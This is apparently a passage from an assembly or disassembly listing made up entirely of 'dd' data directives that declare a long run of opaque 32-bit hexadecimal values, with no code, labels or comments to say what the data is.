		dd 98001E4Bh, 0DC8E93BDh, 0B30F667h, 6143CD8Ah,	3797AFD0h
		dd 0B92A0B78h, 950244D5h, 0BD55ED09h, 0DE9FD1h,	4BE5033Ah
		dd 6131F1EAh, 24D6256h,	53846800h, 59C38F6h, 7BEE4025h
		dd 57E7A50h, 0EDF0B2BBh, 0BF58852Dh, 9D80799Fh,	80C638F7h
		dd 7A85CF2Fh, 5472BF1Eh, 60135995h, 85168CBFh, 953E468Ah
		dd 3600F3E4h, 62ADB7D7h, 1AEB4A7h, 79BC2D8Bh, 0DE5ED17Dh
		dd 4D11C45Fh, 13D6185Fh, 619AC200h, 0DC2154h, 0CC5DF68Ah
		dd 0C0F3FC06h, 0F56CE92Dh, 0EA57C832h, 523DD5ABh, 0EF961791h
		dd 88A2ED52h, 0ED16308Eh, 5B5BE81Dh, 2344C829h,	0ADE15CB7h
		dd 0AE266F51h, 729D57A5h, 9FADC72h, 0A7561FD1h,	0C5D2FB71h
		dd 71323174h, 0AAE3208h, 0B6B55DCBh, 3D82DD59h,	19D58531h
		dd 197932FBh, 0FEBF1A18h, 9D01820Bh, 5BD70F8Dh,	8DCE7202h
		dd 0B74AC709h, 0BDC55897h, 5BF4C276h, 976AEBC9h, 3B3DD95Bh
		dd 0C02CA0h, 188258FEh,	1D9D0BDFh, 80E01C58h, 0FBBB50FAh
		dd 6C152643h, 0EB8A9EA9h, 0FB9125B2h, 0D74EECA6h, 0BE6451FEh
		dd 0A3AB63D6h, 0D0F72520h, 0FB614FFEh, 0C70BC27Ah, 81023701h
		dd 7BE8F410h, 0D69F5D18h, 1CADC282h, 70EBBB14h,	0D35B5ECFh
		dd 0AA05B2B0h, 0F56A4A30h, 0EF8E3FBh, 0EB4A0B0Fh, 4FC26043h
		dd 2A796982h, 0F2E2570Bh, 9DCC674h, 19DAAD3Fh, 402DCFDDh
		dd 0D4B99D7Dh, 10E77F2Dh, 0D9A23h, 89BE9809h, 0D7DFC1A5h
		dd 8BB7164Ah, 0DBAC2959h, 0EFE00173h, 0E9938612h, 0F5127BE3h
		dd 5D92FE31h, 4AB7FF6Ah, 0C517AA80h, 17D1AC5Bh,	0AA8C0FFFh
		dd 54B5DC32h, 0B51355F1h, 0EB0BEAB8h, 18C61F54h, 71529625h
		dd 541A0061h, 0CFE29CF4h, 177FC405h, 0C5FF505Fh, 6AFBCDFDh
		dd 31805CFCh, 0F4F9BFBBh, 6286334Fh, 75FE9DB0h,	5BF00F6h
		dd 1C197339h, 2254EA6h,	0E39A57B0h, 39134801h, 6EDD2A81h
		dd 2B1F8D6Eh, 8A2F6128h, 0DE0155E4h, 0EFF48589h, 0A27E472Ah
		dd 0E1E74B86h, 93D8C704h, 1FA2FE5Bh, 3798C801h,	6BE81997h
		dd 0DF2556BDh, 9C20BF5Fh, 31258F54h, 9A0DDFE1h,	0EF0920A1h
		dd 218CAE4Bh, 58D1609h,	0FC38281Dh, 9EA9895h, 11BD2185h
		dd 23494FE4h, 97A35A77h, 94D47DD6h, 0AA42C44Ch,	90D87620h
		dd 0B0460473h, 0EE206D6Ch, 2E01D004h, 273BF012h, 175F6180h
		dd 91C6D88Bh, 3A157144h, 0BDD2BEB6h, 0F8F2A876h, 0F9B30BC6h
		dd 68F7B509h, 0B6F43DF4h, 9DD5BE99h, 8103396Ch,	0BAB22AF3h
		dd 0F00EB387h, 5576EACBh, 146E8A98h, 79CB55D2h,	4060E6FFh
		dd 15794555h, 5F65505Fh, 205E39E6h, 0C22B58B0h,	8CF01ACDh
		dd 4D387C85h, 1251C35Ah, 50B74084h, 3BD0033Ch, 45383A81h
		dd 3644E65Bh, 2F0AAC2Dh, 624D9E9h, 0D57682C8h, 400382E8h
		dd 0F84F3C6Eh, 0DE1A8DC2h, 12627DF9h, 5031B39h,	1C5B61F8h
		dd 8DD1030Ch, 4D091D20h, 128808EDh, 640523F5h, 6D05058Fh
		dd 0A2BFC483h, 8B511332h, 81105B01h, 1446B0A9h,	335909B5h
		dd 5702C3C0h, 0E0463105h, 30C62444h, 476BE585h,	0A712D268h
		dd 8304D49Ah, 0EBAD1D45h, 0F05A8A39h, 1890D09Bh, 5BC408D6h
		dd 0D38BD645h, 1A00FCE2h, 49DA3D93h, 4D001D40h,	0E757545Bh
		dd 13EB178h, 0F267091h,	215FD7BFh, 9A67D002h, 250F434Ch
		dd 0B28FE0E2h, 8BBEC395h, 2E00070Ch, 0F8C181F7h, 0B72E560Bh
		dd 201FF264h, 198B2F37h, 1590FF22h, 2701EAA9h, 0FEFA049Fh
		dd 320AFD2h, 97B21DD6h,	40F1415Eh, 2C5CBC61h, 5970857Ch
		dd 2C3800EAh, 0F943C7CCh, 18139B77h, 1C00BE0Ch,	0E9815B84h
		dd 0FB4B01B2h, 51D78B39h, 0E2E5FC66h, 7048F12h,	80267558h
		dd 836F1FDAh, 97F31E8h,	0F4F8FC08h, 5026A248h, 80881048h
		dd 0AA6A4AD6h, 0D4145540h, 1F7B41E8h, 68956524h, 64890079h
		dd 0B516ED5Bh, 7E124D3Eh, 0DCBED68Dh, 5D49E95Fh, 0BC78075Ah
		dd 9090EC1Ah, 1CA7F2FAh, 8AA6E544h, 0AD5CF0h, 0AF89AC87h
		dd 6000248Fh, 0DEA8EB7Fh, 32F0344h, 0B4FACA67h,	1EA03309h
		dd 5800D6F1h, 6E719062h, 3AB7ED05h, 0DA3002BEh,	6250F421h
		dd 0DD4E6C00h, 0B3CA2129h, 97D600E8h, 876A603h,	9107248Ah
		dd 4A6C876Bh, 0E62200EEh, 12EA7F4h, 665B9967h, 809DE0E7h
		dd 215A5810h, 1B413FF1h, 40D1AAA4h, 700336C3h, 494A3883h
		dd 511100EDh, 0E2B93DA0h, 22189EF3h, 5808F46Ah,	3120C038h
		dd 8DBB3DA8h, 3EDB423Bh, 68FB30AEh, 610C3771h, 0B7209041h
		dd 8008FE24h, 5280EE11h, 0BE719262h, 0E3220243h, 624AF607h
		dd 2A961C1Bh, 7E4F1CA9h, 42F74052h, 8B906ED0h, 74F97306h
		dd 0C8D00CB2h, 97C051C8h, 43E2BE3Dh, 9FA880BBh,	3BFC6F3Dh
		dd 0B68A81E2h, 40D805D8h, 0AB30D71Fh, 3A6BC0C0h, 0E8F64Ah
		dd 190EC35Dh, 4364E568h, 0AED92900h, 0AF66795Bh, 90F00044h
		dd 1D0C4C98h, 0FD00CB9Dh, 0B18B23BFh, 402CA6Bh,	777F6736h
		dd 8F04C330h, 60A8EE0h,	90004F8h, 25F4CC9h, 0E3A34D6h
		dd 0E5DB18BDh, 0DD38F181h, 730898C5h, 0B51F21h,	28957618h
		dd 0FAE17709h, 13FF848h, 5A346212h, 0A3F04982h,	0DB177A7Eh
		dd 2E13870h, 0F12DD070h, 0F611D760h, 3BA9FDDh, 0FE3EF08Eh
		dd 830F856h, 0E5972103h, 4DEF2E9Fh, 0DCAC014Eh,	8309A689h
		dd 0CF96E7B8h, 0DD600632h, 1926D2A9h, 0A6B8E10h, 6F5B7060h
		dd 10C0854Fh, 55877491h, 0F18A504Dh, 1B0D00C4h,	0DCB12499h
		dd 6B002D67h, 0E9D38307h, 5EB96Eh, 3AE6FAF5h, 0D486B17Dh
		dd 0C88C9800h, 4579210Dh, 3F320088h, 4BE3C4F9h,	6000AD6Dh
		dd 3CE6A7F0h, 1D7B39A1h, 0D394BAh, 240E5E43h, 0CB002BC0h
		dd 0BD729B6h, 3A207E3Ah, 8A006323h, 0CFD4884Bh,	0EA06E175h
		dd 3AE9486Eh, 218B6008h, 3CFCC1Eh, 664EBA00h, 0E35FC5FFh
		dd 0C4AF003Eh, 0BDCD00Ch, 6803465Ah, 0ACCB55EBh, 5E3B888Bh
		dd 33FE0C7Eh, 0B078D118h, 4B8E8109h, 0A8D28068h, 3F900E56h
		dd 0C2000CC0h, 9F755E41h, 10C5072h, 2067B8C7h, 0D340A4Bh
		dd 78207B1Ah, 388CC17Ah, 7B8CBDCh, 652CE78Ch, 0D5196428h
		dd 89988AC3h, 1D68A9FCh, 304AB2D1h, 0C149EBE8h,	4BC42401h
		dd 23CC8E1Ah, 213D089Bh, 17C11388h, 0DC10E107h,	2D0FBD7h
		dd 7F7DAA4h, 0E43E8FA6h, 0E8A04C55h, 0C0818A1Ch, 1EF0A0A8h
		dd 4A0A2407h, 86FB2007h, 63084F4Ch, 1C40210Bh, 0D7E239B0h
		dd 1FC0B814h, 0B3E31DA8h, 7C586103h, 3A60308Ah,	0D75BDE31h
		dd 0D689A806h, 0AE085D0h, 8C95C12Ch, 807C1140h,	7510A25h
		dd 10F58C18h, 0C70B1D3Fh, 0C8C4C650h, 205F2409h, 0FD264600h
		dd 9B690727h, 0AED542D2h, 0B45E3CC2h, 8035405Fh, 0EBFE000Ah
		dd 0F1460F03h, 0E039011h
		dd 78E68998h, 0C8501973h, 501FAAA7h, 7DCC4A8h, 0FFC89450h
		dd 3E77431Dh, 0E5DE841Ch, 209099B6h, 0C40C694Ch, 785927ACh
		dd 930D05DCh, 0A8C8064h, 64BCD88Ch, 0A27617Ah, 432807F4h
		dd 132267h, 0F20B1F41h,	0CBBF62FAh, 7BF00C00h, 0CC207901h
		dd 9E5E0396h, 30D85836h, 2B922FC0h, 8B88A0C4h, 0A0D9441Eh
		dd 0EFCB0186h, 208AB280h, 74488AF8h, 9B000D46h,	3E81DA6Fh
		dd 0E503A9B5h, 4D03FF3Dh, 0C958B868h, 84CCAA1Ah, 0D56023E4h
		dd 0E1236ECFh, 99011F2h, 80CFCD1Fh, 0D0F7C567h,	798560BFh
		dd 4D5F6F36h, 740CC900h, 51D5CBDEh, 3490119h, 5E93DAF4h
		dd 24442035h, 8121D400h, 94C12DC3h, 1EC8918Dh, 0D54CE0C8h
		dd 0DBFA7CFAh, 65869318h, 0AC8D938h, 465FF75Eh,	56B201F4h
		dd 209A759Fh, 48CD0C4h,	0C425C150h, 20336213h, 0C2C11291h
		dd 0B16D600h, 27BACBFBh, 7289398Eh, 5804247Bh, 6238C238h
		dd 8CCF680Ch, 22C14F04h, 8C381BC4h, 0A8C11901h,	0A54876D9h
		dd 58DC0020h, 850CD649h, 0D9295611h, 0B3955E00h, 90F6E9A8h
		dd 48D5E22Dh, 84104C04h, 0C07D888Ch, 7460A28h, 880B18E1h
		dd 0A39203Ch, 0B0D5844Ch, 8C118D8h, 44274FF9h, 0F8313436h
		dd 44769424h, 0E152451h, 49088C4h, 5F9FD4C4h, 0D420A48Dh
		dd 0C30C8CAh, 4C089CA4h, 0FB240678h, 4E0B187Fh,	18CC7DCh
		dd 0F6D5C5A5h, 0A9CE3CD0h, 482095F8h, 0D3048C21h, 0E2E170CFh
		dd 25209162h, 46CFCBh, 591A4079h, 0A4C17FDEh, 0E400EC99h
		dd 5E3A057Dh, 48D92A85h, 20D200B8h, 0DFF1313Fh,	909ACEFBh
		dd 39588B76h, 8C8FBC6Ch, 0F16FF609h, 101810B8h,	0CB468468h
		dd 26C14B02h, 10C73BC4h, 0C1158800h, 0E4D7FED9h, 0E83115D0h
		dd 8879C436h, 0D0A022B0h, 3D7CFF7Bh, 30674344h,	27484C5Ah
		dd 916ECC99h, 7DA007Ch,	1F3D154h, 57EFEAFDh, 0E45F930Ah
		dd 0C668C85Bh, 4674BCC9h, 0B57D0F54h, 0B795866h, 0C8EBF7E5h
		dd 1393BE78h, 2170AD1Fh, 78F057Ch, 1207B11Ch, 2155D0D7h
		dd 2327C38h, 0B98527D5h, 5C008109h, 5B1B6742h, 0F917C921h
		dd 0FA571854h, 0C4950489h, 805D3FE4h, 6F75DF60h, 0CD46D8A6h
		dd 28C14507h, 36C458C4h, 878649h, 0FE3D005Dh, 0F424D012h
		dd 7B00B41Dh, 62CE31BEh, 5C752A25h, 2CC4630h, 0C429C14Ch
		dd 11383133h, 28704E8Dh, 0A808E689h, 0B4538Ch, 0CDEF7BCFh
		dd 0A5A7099Ah, 1888D37Ch, 28916F67h, 281C4500h,	0C4008C78h
		dd 4AF41A63h, 0C08F6615h, 0A3716A21h, 9F06D5D3h, 870D7A84h
		dd 0E85E5408h, 0A3790351h, 64CD5B49h, 45B16100h, 31A2712h
		dd 207A12C7h, 0DCB4000Bh, 5E3919ECh, 796CB600h,	0C88FED3Eh
		dd 44BA2Ch, 24CAC57Bh, 0FB932F62h, 0D1019F00h, 80EB2147h
		dd 0FEF418C0h, 0D7034014h, 581CBA30h, 39019762h, 9A0048B3h
		dd 3DB2B23h, 0D8902EA3h, 7C0308A2h, 0E023DF6Ch,	0A36E014Eh
		dd 1897D5D4h, 76508866h, 5643A300h, 1D218A71h, 0EDE0E72h
		dd 0FA460C57h, 2C85490Ah, 0B86261C4h, 0FBF442C0h, 18341948h
		dd 0C7215966h, 3972E9h,	0C6985669h, 0D75F3E2Ah,	5824DD24h
		dd 366EA40h, 0C8E007Fh,	0E3D9FB32h, 0A5022C28h,	3987CF1Bh
		dd 50C960C7h, 998C63B6h, 42E7AD8Bh, 8C46241Ah, 73CFD604h
		dd 60CE3AE1h, 0CFCE2800h, 52BED33Eh, 7CE23F12h,	0FCDFD020h
		dd 3A8B8082h, 8E642CA5h, 0C8828361h, 7424B0D7h,	0DB01040Ah
		dd 184AF5BEh, 0A3FCA859h, 87D523D6h, 4A006711h,	2F8EA37Ch
		dd 380BA9DBh, 0E7E8D8h,	6212FA3Ch, 0ACCA1682h, 7E484003h
		dd 0B3E34401h, 4BDE25h,	0CE91977Ch, 0A7C3281Fh,	0D5474098h
		dd 1160C87Fh, 793DD98h,	45158D3h, 0D64AFA00h, 7ED4D00Fh
		dd 0EA6820C3h, 9E13F263h, 0D9662320h, 0BD020A1Ch, 9D12D7DCh
		dd 8E66117Ch, 7724E0D7h, 710686h, 222AC1A0h, 7E16CD91h
		dd 4EE33500h, 1AF11C80h, 0EA37019Ah, 23685B8Ah,	7749BC3Dh
		dd 0D00C4174h, 0B021C4C8h, 36E60013h, 8901CFA9h, 99F324D8h
		dd 52D8FBC9h, 0F1E08864h, 0A4044061h, 2F648804h, 34600856h
		dd 2609B4A6h, 0CEE0051Bh, 4589D4C0h, 18462C61h,	57240B9Eh
		dd 0C84F04A4h, 28C87BE0h, 0F034079h, 0FC901739h, 8B1A67FCh
		dd 9178438Ah, 0D1A142C8h, 3C668A1Ch, 3BC06C98h,	5557F3Bh
		dd 28E4C11Ah, 0B88B4C01h, 0C0868018h, 2157BAE3h, 42445C85h
		dd 77891540h, 0D0004F7Ch, 86ECC220h, 49C10C3Fh,	3E029C80h
		dd 7E26CC53h, 75B45060h, 730E8B00h, 6090D4C7h, 0B1346067h
		dd 0DD9FA3Fh, 78290A01h, 18857B89h, 4C7ACDD0h, 6789F8ABh
		dd 0AA831810h, 18011530h, 7F7FFD57h, 2775000Eh,	53D6A04Ah
		dd 0BE0C5B84h, 7995C958h, 29BF07DBh, 0A4D74779h, 0D9E4C011h
		dd 0E9C18FD0h, 7C1703DDh, 58C29840h, 0E21C2673h, 0B2BF0BBCh
		dd 9A7D0100h, 0BD07E303h, 0FB57848Fh, 14D9799Ch, 24CE1CD8h
		dd 0B7AF810h, 1E2FF37h,	0DE9FC244h, 61A23C63h, 0D5CBB833h
		dd 141702F7h, 0A4023E9Bh, 3444D0C7h, 0FC978064h, 0DBFAA67Ch
		dd 41A29312h, 242A2C02h, 45ECA053h, 135CFEDh, 991C28A8h
		dd 0F4CEC5C1h, 32093FEFh, 84BE2B78h, 90C8D7D4h,	40DCF289h
		dd 7AE02C60h, 0E32EA8B8h, 467C5080h, 0B5FB008Ch, 43FD7FBCh
		dd 54842EA4h, 3FA00080h, 3CC70116h, 2090BEA1h, 0F091FA00h
		dd 62847505h, 0E39D30CFh, 655A7701h, 60FDF90Bh,	0A88848h
		dd 58F8881Fh, 0CE17DE18h, 0C1761C0Ah, 0C808011h, 66FA4CDAh
		dd 0D95E01D3h, 72A7E4CDh, 2874E429h, 0BDFD5000h, 253D8546h
		dd 0A459C056h, 0AD06E07Fh, 0D29B601h, 49FA9444h, 0B024C720h
		dd 6E7A1228h, 88B4CBA2h, 0F6D1C030h, 0C3FC15DEh, 0C6059E00h
		dd 167F578Eh, 0DC661C68h, 0D6DB00C4h, 0BEE2FAD7h, 0DE3F3712h
		dd 0CAADDC20h, 855F26C2h, 845937E3h, 83E0C0B8h,	7BF0E86Ch
		dd 2260C096h, 0E507500Ah, 40C471DEh, 530B1A3Eh,	919B4E06h
		dd 1F1910C1h, 40427325h, 30F5495Eh, 0A5007195h,	0A807FF20h
		dd 53394ADh, 4037E92Dh,	82F4050Fh, 0AC38884Bh, 27E37C40h
		dd 7C1792BFh, 80893291h, 0F8DA1D80h, 0F400556Eh, 0A86A99C7h
		dd 4C30CC1Bh, 87125C67h, 1D64217Fh, 8D70C24h, 42E174CFh
		dd 294F55C4h, 91A640FCh, 0C0D8D5DEh, 57B08461h,	58245C03h
		dd 914960B2h, 0E6E298D2h, 9426197Bh, 0D500660Ch, 7F28C22Dh
		dd 293760B2h, 0A19D046Fh, 0CA483Eh, 0FB28C996h,	4414407h
		dd 5FDC8417h, 30C8C7D4h, 5E3B8E5Bh, 3028FF0h, 0EB46AB63h
		dd 0C60C056h, 5EA89E65h, 4791946h, 0B5597781h, 0DA42C010h
		dd 624C3EB3h, 540D0024h, 0C34FC9D8h, 94FB7856h,	6012441Ch
		dd 23D8A372h, 651177D5h, 0A3F473h, 1695E6CEh, 0DCC02EC8h
		dd 0B8B22094h, 0A293078h, 0F8074D08h, 40186466h, 410A213Bh
		dd 0E74A0092h, 0CCD8D0FCh, 1712B596h, 1C8865A3h, 0EECE0330h
		dd 39AC8BD3h, 0F8B01FC2h, 7216CFD9h, 0ECCBD2E1h, 7DD12310h
		dd 42ED8F02h, 407C80B8h, 24B94C60h, 749C49A7h, 0C0030C46h
		dd 5C240649h, 14A0691Eh, 0D2390CC0h, 27B45F0h, 0DD24BE26h
		dd 3CC8F9B3h, 0B02CC0D9h, 3A48D1h, 68C10FEAh, 9AD81131h
		dd 626C9BD4h, 68C36C35h, 14A232A4h, 0A4041A2Dh,	8164CEFCh
		dd 0CAC423A4h, 8B0044C7h, 0EE7FC118h, 0DE440247h, 4EB3E19Ah
		dd 3B7523h, 0C271F629h,	734DFFD6h, 6C26F400h, 0D772A827h
		dd 12BC7E84h, 909066A2h, 0CAE742F8h, 3E386701h,	4A8093B6h
		dd 0C035830h, 7145C0E9h
		dd 0EE4CC728h, 0CE007E6Dh, 9547E254h, 159BCE9h,	3CFCA3E3h
		dd 282450C1h, 373804D0h, 7CA0E0B1h, 426D3DE9h, 0BE15CF87h
		dd 0F8BD808Fh, 220BAFC4h, 831CD91Ah, 98790661h,	9576EEBh
		dd 29C4CDB5h, 0E5007864h, 0CB2FC9B8h, 171F7BAh,	431809BEh
		dd 106523FAh, 17E9B0h, 0FD6990Ch, 7A016429h, 35384C5Ch
		dd 6E83496Dh, 0E1313E5Dh, 0A04D9615h, 0A2006422h, 0F7E8CFC7h
		dd 59F5E9h, 0B8E14A30h,	0A4D1D813h, 89C13E0Bh, 68608788h
		dd 4B505E07h, 2B7274h, 0ACC2E994h, 0E5ED5F4Ah, 23496800h
		dd 0FD25CA95h, 0FB51001Ch, 0FA67462Dh, 9A0FF99Eh, 80202BB9h
		dd 4D3D3575h, 0B22D032Ah, 4B886F67h, 7CB02900h,	7B98FBBFh
		dd 0D1A4195Eh, 80160823h, 0BF140B21h, 0C461A38h, 4AE13DF5h
		dd 0D1008748h, 511FC565h, 500596h, 41ABA067h, 0AA69818Fh
		dd 9F7C5770h, 80D01081h, 11A46352h, 9BB0DEBEh, 0FFE2C3B1h
		dd 80C2131h, 20804FB7h,	2BA4D6E7h, 0FDE6EE10h, 36913518h
		dd 0F1DB78h, 91B61C7h, 0BA5D4577h, 3F182B7Ch, 94F1C5A1h
		dd 6FE00CA2h, 5A709EFEh, 448AF82Eh, 63ABE603h, 2E09307Dh
		dd 8AF03AA1h, 0B552EC18h, 0FC8181h, 13153F86h, 64A6D584h
		dd 0E0EFE109h, 70D8010Ah, 2DFD09C6h, 0ADF7D180h, 0AE8F8252h
		dd 400201EEh, 61B0681Ah, 118481F5h, 80581450h, 23A7ECE2h
		dd 0BD11E3B1h, 0A4DA007Bh, 0F08ADFBBh, 950156E6h, 0E07A1043h
		dd 3C427B58h, 0C41DC064h, 0EDE83C1Fh, 8E9D9F00h, 0CC45AF8Dh
		dd 3C8BBA00h, 4014D12h,	3E6A0096h, 5B85A251h, 6000B4DBh
		dd 0CF206C06h, 79ADAh, 547C6704h, 596E1971h, 0FC86C539h
		dd 66E4FC00h, 7F4E0DE6h, 6D170740h, 0AF2AFDAEh,	0F896BEh
		dd 9526B27Ah, 631F790Bh, 0E580824Dh, 5EB851ECh,	0AE2300E2h
		dd 0FFF6F9C3h, 0A73AD542h, 0DAFB809Ah, 8326D75Ch, 7960001Ch
		dd 9CE11335h, 0E300D491h, 0E2DAE3Ch, 1F4D385Ch,	0D97C855Dh
		dd 0D86D30D6h, 4C0121B9h, 0B701ACC4h, 18809611h, 0B5028C04h
		dd 0F007E63Ah, 0B11F9042h, 0D01957D3h, 5CA08A96h, 0AF3D3603h
		dd 8763F281h, 20D95D77h, 350F1730h, 200EA242h, 0C776B1E3h
		dd 946218ACh, 872C79D9h, 45C9C600h, 5BF431EAh, 4084603Bh
		dd 94EC628Dh, 9907B903h, 0D84DB014h, 0C0853683h, 987E7118h
		dd 31833C2h, 0D50D44Fh,	0C42D01B6h, 781528A4h, 5288406Dh
		dd 690064AAh, 0E637AB13h, 3ECEDCh, 0E2A91CFAh, 2C1243D8h
		dd 777C8679h, 0D73640h,	0A5DCBFBCh, 645A1344h, 0CBF28900h
		dd 947C2798h, 71EB07F7h, 2841EAh, 7350E7E1h, 1156770Ch
		dd 7C7982h, 0C2327F8h, 5B35C6Fh, 28805B50h, 51D49700h
		dd 0A8F10EA1h, 0B8831FFDh, 1F0F7EF7h, 0CE809DFCh, 0F38F676Ch
		dd 79E163Ch, 232E5F10h,	2B5AF220h, 0F02DE84Ch, 6B4E0028h
		dd 0CA55D3C9h, 3D638B10h, 1F9BA08h, 6B444920h, 0DD26DD36h
		dd 0B577F44Eh, 2070826Ch, 8BF93E08h, 2AD9FF8Ch,	475CCD11h
		dd 0B8AD0171h, 0D0F4FDECh, 2492088Ch, 3E03F020h, 3873E5C9h
		dd 800D9204h, 0D3C0F289h, 30090125h, 64A08B9h, 2D308011h
		dd 8EB46583h, 1D84038Ah, 168CA22Ah, 21007BA3h, 56B2FDCCh
		dd 1F47F8F6h, 0C63A25DDh, 0E4A1349h, 0CF6399C0h, 0F9ED96Ah
		dd 8C844872h, 6D870581h, 22D081F3h, 90E91464h, 3C3198CCh
		dd 3A0047DFh, 0AD05C101h, 0D91CB834h, 3D8029F1h, 0E00FDD3Fh
		dd 177300C5h, 0D1D00170h, 0D500CD46h, 3A4C2433h, 2085B9h
		dd 27740888h, 39CFCA30h, 73F038h, 6AA54C84h, 0F8D5Dh, 8BC5623Ch
		dd 0ADFF88D2h, 0B92CE83Dh, 3D7381CDh, 69A9967Bh, 1EA10D60h
		dd 80437F3Eh, 6B7A50FCh, 0F7485822h, 65690061h,	0FBFEB609h
		dd 0EEF03F16h, 0FEB5601h, 0C48AD8A5h, 81F696FAh, 4370BE0Eh
		dd 0BD2D45D4h, 198C0FC3h, 612B0B18h, 0D170E0D5h, 0F78A3801h
		dd 0CDAD58ECh, 2CDD1AD0h, 1EB73E9h, 96C3FEFFh, 0E835E9E1h
		dd 0D33E08E7h, 8786004Fh, 0A777A029h, 681261BBh, 0C593043Eh
		dd 2E908733h, 0D808B9Dh, 30FB07ADh, 0DE183C6Ah,	0CD00FFAAh
		dd 0D4DB7CF5h, 1146ED3h, 570BD5A8h, 804046B7h, 0D9362DA0h
		dd 3C166815h, 6E80C05Dh, 0BCB14B26h, 0A9631E93h, 1B8EBE9h
		dd 0FCB2F319h, 0F0D58E2Dh, 72717E33h, 92EF3603h, 913F3826h
		dd 8050A889h, 0C7AA10h,	0A6175F1Ch, 27FEA905h, 0E155CA00h
		dd 0D20CD368h, 97B900C7h, 35F8B0F4h, 1E00A993h,	0C24936A0h
		dd 73414C9h, 41D9925h, 0AF444323h, 0C1582000h, 0A927E5C3h
		dd 78A11CE8h, 3757C0D7h, 14CE35B7h, 8F182B00h, 0C6843C6h
		dd 85EF3988h, 8FF3380h,	1EB0A60Dh, 53962E07h, 784C94E9h
		dd 0E0EDE080h, 0A422031Dh, 0A3521F02h, 210F7CA3h, 0C0ED07DAh
		dd 3AF6FE67h, 18177BA7h, 0B9CFAED5h, 5F982A89h,	9A78FE00h
		dd 3A9703F6h, 0AE60069Eh, 80EC3885h, 0EF195A03h, 1989524h
		dd 21579639h, 81AC2DC3h, 52FD8911h, 72E83701h, 45301D92h
		dd 1F070C73h, 0F6000420h, 974B0852h, 0EB880E0h,	0BFE89F8Eh
		dd 5023583Bh, 52FC00C6h, 71F53704h, 21946086h, 0F52F76Fh
		dd 0E23848h, 98505EC1h,	0D91397h, 2C43C5F2h, 7D78C9Eh
		dd 0BEA930C0h, 3C6D2BBh, 4331C9CDh, 818D9A1h, 4420A5F2h
		dd 0FAD200C5h, 92991489h, 0F4A0984Eh, 0D5300B53h, 0F04B605Fh
		dd 93A307AFh, 0E0C49D0Ah, 66FA1C36h, 0CBF45500h, 729705A4h
		dd 0B9AC0027h, 7FE68EADh, 58F4BBD9h, 316E8400h,	3CEDEE55h
		dd 1EDFE276h, 80F6DA01h, 772EB826h, 5800475Ah, 0DCFCE324h
		dd 8B15EEh, 0DBC9F39Fh,	0B91DDAFDh, 38F66B38h, 0B4988351h
		dd 475CD6h, 0C7662314h,	93E5FB84h, 67413901h, 0E665DFC4h
		dd 45D1094h, 3F30C4ECh,	523D10FFh, 99AF3936h, 3B55CB00h
		dd 2B9C388Dh, 4031AE1Fh, 13CDA200h, 1FD8E1Ch, 8628CCFBh
		dd 0BF953420h, 33590012h, 0E3BE3502h, 373004Bh,	9DBAB414h
		dd 0F37AA8A7h, 0B5803Ah, 0C162E92Dh, 18D48h, 0EE6C4585h
		dd 8AF4F2CCh, 0B2BF881Ch, 94D53F3Ah, 48964DB8h,	89653B17h
		dd 8041CC21h, 0E5B6ABFCh, 0DDCE00E8h, 0B1754BCDh, 0F0005B98h
		dd 398F9C7Ch, 279BC6h, 6368DBC1h, 0A37FB64Fh, 88038A73h
		dd 0F7640A9Fh, 1510062h, 39ADC06Dh, 3D00DE8Ah, 9719726h
		dd 60AE803Ah, 4DE4489Fh, 9316D12Ch, 420BF50Eh, 0B6208062h
		dd 0F94C24Fh, 474C4833h, 5978272Fh, 290065B7h, 2A1C66CDh
		dd 1C738B1Dh, 144DB2Ch,	51F18452h, 0BD6180E4h, 0B50BD982h
		dd 631C02F4h, 0CBDEAC66h, 15C8B5C0h, 0A509230Bh, 0EEB30167h
		dd 8DC8084Fh, 6B73005Bh, 52243B48h, 5300F18Ah, 3DC0B1DCh
		dd 57136D1h, 0E10D3E16h, 0D4D9C06Eh, 5504956Dh,	5E148DF3h
		dd 1DF00481h, 1DC3C0F8h, 0B0A717B9h, 0AE285290h, 0BE5A0B1Eh
		dd 72230580h, 5699621h,	1DC5DD50h, 0D7B040B8h, 0C3917056h
		dd 0B1F34609h, 0B430213Ch, 7AC084ACh, 279A0061h, 5A732560h
		dd 0AE00A6BFh, 69BE1BBBh, 35F08C8h, 19AD71FEh, 0FB86FDAh
		dd 0FDEEBCE9h, 7FA16B03h, 0FBED12EFh, 0C90ED983h, 200CCE61h
		dd 5CEE04E1h, 80CF0D20h, 0E39EEF44h, 55B39700h,	12CE1B5Dh
		dd 0CDF499h, 0BB4DA361h, 0F77B7AD7h, 34FE5818h,	0A7D6A0h
		dd 64BFC187h, 829D7C4Eh, 0A3003D7Ch, 0E94CBC15h, 127091D5h
		dd 3DB4A48h, 0EEC8AA00h, 74426097h, 0C998548Eh,	0BDFA5300h
		dd 0D1DBF963h, 685D000Dh, 5B58ED27h, 0E600CFA2h, 0EF7699EAh
		dd 0EE6B4670h
		dd 1E0F033Bh, 0BEF34F60h, 0A0805B92h, 0E4D2FB11h, 70208A00h
		dd 0D84865CAh, 0C0F62Ah, 0FE1CB9CEh, 3BD2E4B1h,	0F7257A00h
		dd 0E898BB05h, 0B58CA8D0h, 12285C81h, 2A9ED40Fh, 82631840h
		dd 0B70765A2h, 0F0B59D71h, 0A60BF610h, 0F2267D46h, 0C909009Fh
		dd 37168EC6h, 170A0290h, 0EC3A0497h, 6A2E9600h,	12EE88h
		dd 2CC0054Fh, 34D20EE9h, 27552A1Fh, 1C88A1C0h, 78E78A32h
		dd 710A00BBh, 5ECD2B3Bh, 757E548Bh, 4B30E990h, 0DBE9A8E1h
		dd 493703E6h, 2A7D4AFCh, 444B14F2h, 298576A0h, 30132824h
		dd 8A18F802h, 0D9CC4096h, 7505095Bh, 6CAEECF2h,	2DE1914Eh
		dd 70298D17h, 0F300952Bh, 1E3527C4h, 7EE0D8h, 0E81C56B0h
		dd 776090CFh, 46DCB11Eh, 0EA44E607h, 1F1611D0h,	4DEF0004h
		dd 6CF42548h, 51753CD7h, 2F30A90Fh, 76A380FEh, 0ABEF31h
		dd 0B15FF975h, 147BCEEAh, 2FAF8216h, 19CC8800h,	164AB9Fh
		dd 85DFFAEFh, 0E8ED978Eh, 0E200B045h, 0FF552B1h, 3621081Dh
		dd 8060F399h, 862E9000h, 7D65C7F9h, 4621FBAh, 0B3D98052h
		dd 0AC0A287h, 80E6B800h, 0ACCD98C9h, 2C98F2h, 9CD61914h
		dd 1871CC1Bh, 79B8D200h, 0FFCB7606h, 14FD0783h,	60A8D95Dh
		dd 0B24A4CB0h, 9CAA6E01h, 368B774Bh, 0E19EA451h, 58C0C6DCh
